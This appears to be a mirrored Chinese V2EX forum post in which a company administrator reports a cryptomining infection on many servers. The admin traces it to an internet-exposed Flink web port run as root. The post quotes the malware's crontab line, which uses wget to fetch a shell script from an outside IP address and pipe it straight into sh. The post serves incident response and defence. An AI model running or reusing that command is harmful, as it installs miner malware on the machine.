16

公司服务器被攻击了!

 2 years ago
source link: https://www.v2ex.com/t/812098
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

V2EX  ›  信息安全

公司服务器被攻击了!

  leiuu · 1 天前 · 5689 次点击

周六公司服务器被大面积攻击,植入挖矿程序,cpu 被打爆。

怀疑是通过某个开源框架的远程执行漏洞进来的,但不知道是从具体哪个机器进入。

该病毒基本特征:

  • 会增加一个 crontab 任务到一个或多个用户。远程下载挖矿脚本到 tmp 目录。
* * * * * wget -q -O - http://185.191.32.198/spr.sh |sh > /dev/null 2>&1
  • 启动多个「 kdevtmpfsi 」进程,之后机器 cpu 资源被几乎耗尽。

image.png

涉及的服务器很多,v 友们有什么好的分析思路分享吗?

第 1 条附言  ·  1 天前

谢谢大佬们。

目前能基本定位到第一台被启动挖矿的机器了。但还没法串联起来。因为中招的服务器可能有上百台。

比较关键的 syslog 也被删除了。ssh 远程执行命令没有 last 日志 + command history ,还有办法知道关键命令是怎么执行的吗。。。

第 2 条附言  ·  11 小时 57 分钟前

其中一台入侵的原因,已经被我找到了。

我们有一台云主机,默认开放了 8081 端口。

之后有同事在上边用 root 用户,启动起了 flink 集群。

攻击者利用 flink 的一个漏洞,上传 shell 脚本执行挖矿脚本注入。

之后还鸡贼的把记录删掉了,好在发现一丝痕迹。

类似的外网开放的 flink 还有一大堆,FOFA 上可以轻易搜到。

上传 jar 源码: image.png flink log 特征: image.png

有使用 flink 的公司记得不要开放web端口到外网。

作为非网安的人员已经黔驴技穷了,不知道为啥能串联起来其他机器。。。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK